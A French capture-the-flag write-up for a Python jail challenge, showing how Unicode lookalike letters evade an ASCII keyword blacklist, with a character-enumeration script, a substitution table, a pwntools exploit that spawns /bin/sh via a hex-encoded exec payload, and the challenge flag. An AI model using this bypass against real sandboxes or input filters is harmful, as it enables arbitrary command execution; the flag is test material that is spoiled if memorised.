Pyjail Revenge

Catรฉgorie: Systรจme Difficultรฉ: - Flag: CTFREI{d4mn_u_g0t_m3_pff}

Challenge

Description


Fini les payloads classiques, montre moi vraiment ce que tu peux faire pour contourner รงa !

Le flag est situรฉ dans flag.txt

Connexion: nc intro.ctfrei.fr 4452

Solution

Ici le "TRICK" ร  utiliser est que python accepte diffรฉrent encodage, seulement la vรฉrification de la blacklist est faite uniquement avec les valeurs ASCII. On peut donc utiliser des caractรจres unicodes diffรฉrents, mais compris par python pour utiliser les mots interdis.

La premiรจre chose ร  faire est de lister, en local, les caractรจres qui peuvent remplacer les "vrais" (ceux en ASCII). Pour รงa on va crรฉer 26 variables nommรฉes de a ร  z, tester par exemple 1 million de caractรจres unicode et voir ceux qui sont รฉvaluรฉs en tant qu'une des variables dรฉfinies.

result = {v: [] for v in range(26)}
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = list(range(26))

for _n in range(1_000_000):
  _c = chr(_n)
  if _c.isdigit():
    continue
  try:
    _v = eval(_c)
    result[_v].append(_c)
  except:
    pass

for _v in range(26):
  print(', '.join(result[_v]))

On en tire le tableau de correspondances suivant :

a, ยช, แตƒ, โ‚, ๏ฝ, ๐š, ๐‘Ž, ๐’‚, ๐’ถ, ๐“ช, ๐”ž, ๐•’, ๐–†, ๐–บ, ๐—ฎ, ๐˜ข, ๐™–, ๐šŠ
b, แต‡, ๏ฝ‚, ๐›, ๐‘, ๐’ƒ, ๐’ท, ๐“ซ, ๐”Ÿ, ๐•“, ๐–‡, ๐–ป, ๐—ฏ, ๐˜ฃ, ๐™—, ๐š‹
c, แถœ, โ…ฝ, ๏ฝƒ, ๐œ, ๐‘, ๐’„, ๐’ธ, ๐“ฌ, ๐” , ๐•”, ๐–ˆ, ๐–ผ, ๐—ฐ, ๐˜ค, ๐™˜, ๐šŒ
d, แตˆ, โ…†, โ…พ, ๏ฝ„, ๐, ๐‘‘, ๐’…, ๐’น, ๐“ญ, ๐”ก, ๐••, ๐–‰, ๐–ฝ, ๐—ฑ, ๐˜ฅ, ๐™™, ๐š
e, แต‰, โ‚‘, โ„ฏ, โ…‡, ๏ฝ…, ๐ž, ๐‘’, ๐’†, ๐“ฎ, ๐”ข, ๐•–, ๐–Š, ๐–พ, ๐—ฒ, ๐˜ฆ, ๐™š, ๐šŽ
f, แถ , ๏ฝ†, ๐Ÿ, ๐‘“, ๐’‡, ๐’ป, ๐“ฏ, ๐”ฃ, ๐•—, ๐–‹, ๐–ฟ, ๐—ณ, ๐˜ง, ๐™›, ๐š
g, แต, โ„Š, ๏ฝ‡, ๐ , ๐‘”, ๐’ˆ, ๐“ฐ, ๐”ค, ๐•˜, ๐–Œ, ๐—€, ๐—ด, ๐˜จ, ๐™œ, ๐š
h, สฐ, โ‚•, โ„Ž, ๏ฝˆ, ๐ก, ๐’‰, ๐’ฝ, ๐“ฑ, ๐”ฅ, ๐•™, ๐–, ๐—, ๐—ต, ๐˜ฉ, ๐™, ๐š‘
i, แตข, โฑ, โ„น, โ…ˆ, โ…ฐ, ๏ฝ‰, ๐ข, ๐‘–, ๐’Š, ๐’พ, ๐“ฒ, ๐”ฆ, ๐•š, ๐–Ž, ๐—‚, ๐—ถ, ๐˜ช, ๐™ž, ๐š’
j, สฒ, โ…‰, โฑผ, ๏ฝŠ, ๐ฃ, ๐‘—, ๐’‹, ๐’ฟ, ๐“ณ, ๐”ง, ๐•›, ๐–, ๐—ƒ, ๐—ท, ๐˜ซ, ๐™Ÿ, ๐š“
k, แต, โ‚–, ๏ฝ‹, ๐ค, ๐‘˜, ๐’Œ, ๐“€, ๐“ด, ๐”จ, ๐•œ, ๐–, ๐—„, ๐—ธ, ๐˜ฌ, ๐™ , ๐š”
l, หก, โ‚—, โ„“, โ…ผ, ๏ฝŒ, ๐ฅ, ๐‘™, ๐’, ๐“, ๐“ต, ๐”ฉ, ๐•, ๐–‘, ๐—…, ๐—น, ๐˜ญ, ๐™ก, ๐š•
m, แต, โ‚˜, โ…ฟ, ๏ฝ, ๐ฆ, ๐‘š, ๐’Ž, ๐“‚, ๐“ถ, ๐”ช, ๐•ž, ๐–’, ๐—†, ๐—บ, ๐˜ฎ, ๐™ข, ๐š–
n, โฟ, โ‚™, ๏ฝŽ, ๐ง, ๐‘›, ๐’, ๐“ƒ, ๐“ท, ๐”ซ, ๐•Ÿ, ๐–“, ๐—‡, ๐—ป, ๐˜ฏ, ๐™ฃ, ๐š—
o, ยบ, แต’, โ‚’, โ„ด, ๏ฝ, ๐จ, ๐‘œ, ๐’, ๐“ธ, ๐”ฌ, ๐• , ๐–”, ๐—ˆ, ๐—ผ, ๐˜ฐ, ๐™ค, ๐š˜
p, แต–, โ‚š, ๏ฝ, ๐ฉ, ๐‘, ๐’‘, ๐“…, ๐“น, ๐”ญ, ๐•ก, ๐–•, ๐—‰, ๐—ฝ, ๐˜ฑ, ๐™ฅ, ๐š™
q, ๏ฝ‘, ๐žฅ, ๐ช, ๐‘ž, ๐’’, ๐“†, ๐“บ, ๐”ฎ, ๐•ข, ๐––, ๐—Š, ๐—พ, ๐˜ฒ, ๐™ฆ, ๐šš
r, สณ, แตฃ, ๏ฝ’, ๐ซ, ๐‘Ÿ, ๐’“, ๐“‡, ๐“ป, ๐”ฏ, ๐•ฃ, ๐–—, ๐—‹, ๐—ฟ, ๐˜ณ, ๐™ง, ๐š›
s, ลฟ, หข, โ‚›, ๏ฝ“, ๐ฌ, ๐‘ , ๐’”, ๐“ˆ, ๐“ผ, ๐”ฐ, ๐•ค, ๐–˜, ๐—Œ, ๐˜€, ๐˜ด, ๐™จ, ๐šœ
t, แต—, โ‚œ, ๏ฝ”, ๐ญ, ๐‘ก, ๐’•, ๐“‰, ๐“ฝ, ๐”ฑ, ๐•ฅ, ๐–™, ๐—, ๐˜, ๐˜ต, ๐™ฉ, ๐š
u, แต˜, แตค, ๏ฝ•, ๐ฎ, ๐‘ข, ๐’–, ๐“Š, ๐“พ, ๐”ฒ, ๐•ฆ, ๐–š, ๐—Ž, ๐˜‚, ๐˜ถ, ๐™ช, ๐šž
v, แต›, แตฅ, โ…ด, ๏ฝ–, ๐ฏ, ๐‘ฃ, ๐’—, ๐“‹, ๐“ฟ, ๐”ณ, ๐•ง, ๐–›, ๐—, ๐˜ƒ, ๐˜ท, ๐™ซ, ๐šŸ
w, สท, ๏ฝ—, ๐ฐ, ๐‘ค, ๐’˜, ๐“Œ, ๐”€, ๐”ด, ๐•จ, ๐–œ, ๐—, ๐˜„, ๐˜ธ, ๐™ฌ, ๐š 
x, หฃ, โ‚“, โ…น, ๏ฝ˜, ๐ฑ, ๐‘ฅ, ๐’™, ๐“, ๐”, ๐”ต, ๐•ฉ, ๐–, ๐—‘, ๐˜…, ๐˜น, ๐™ญ, ๐šก
y, สธ, ๏ฝ™, ๐ฒ, ๐‘ฆ, ๐’š, ๐“Ž, ๐”‚, ๐”ถ, ๐•ช, ๐–ž, ๐—’, ๐˜†, ๐˜บ, ๐™ฎ, ๐šข
z, แถป, ๏ฝš, ๐ณ, ๐‘ง, ๐’›, ๐“, ๐”ƒ, ๐”ท, ๐•ซ, ๐–Ÿ, ๐—“, ๐˜‡, ๐˜ป, ๐™ฏ, ๐šฃ

Maintenant, il suffit de remplacer une lettre de exec pour que la blacklist ne dรฉtecte plus le mot, mais qu'il soit toujours interprรฉtรฉ. Remplaรงons par exemple le premier e par ๐•–.

Ensuite, on va crรฉer un payload qui ouvrira un shell dans notre fonction exec. Pour passer la blacklist sans se prendre la tรชte, on va envoyer une version encodรฉe en hexa et qui sera dรฉcodรฉe sur le serveur avec bytes.fromhex.

from pwn import remote, context

context.log_level = 'error'

client = remote('intro.ctfrei.fr', 4452)
to_exec_hex = '__import__("os").system("/bin/sh")'.encode().hex()
payload = f'๐•–xec(bytes.fromhex(\'{to_exec_hex}\').decode())'
client.sendlineafter(b'>>> ', payload.encode())

client.sendline(b'cat flag.txt')
print(client.recvall(timeout=1))
# CTFREI{d4mn_u_g0t_m3_pff}

client.close()

Derniรจre mise ร  jour

Cet article vous a-t-il รฉtรฉ utile ?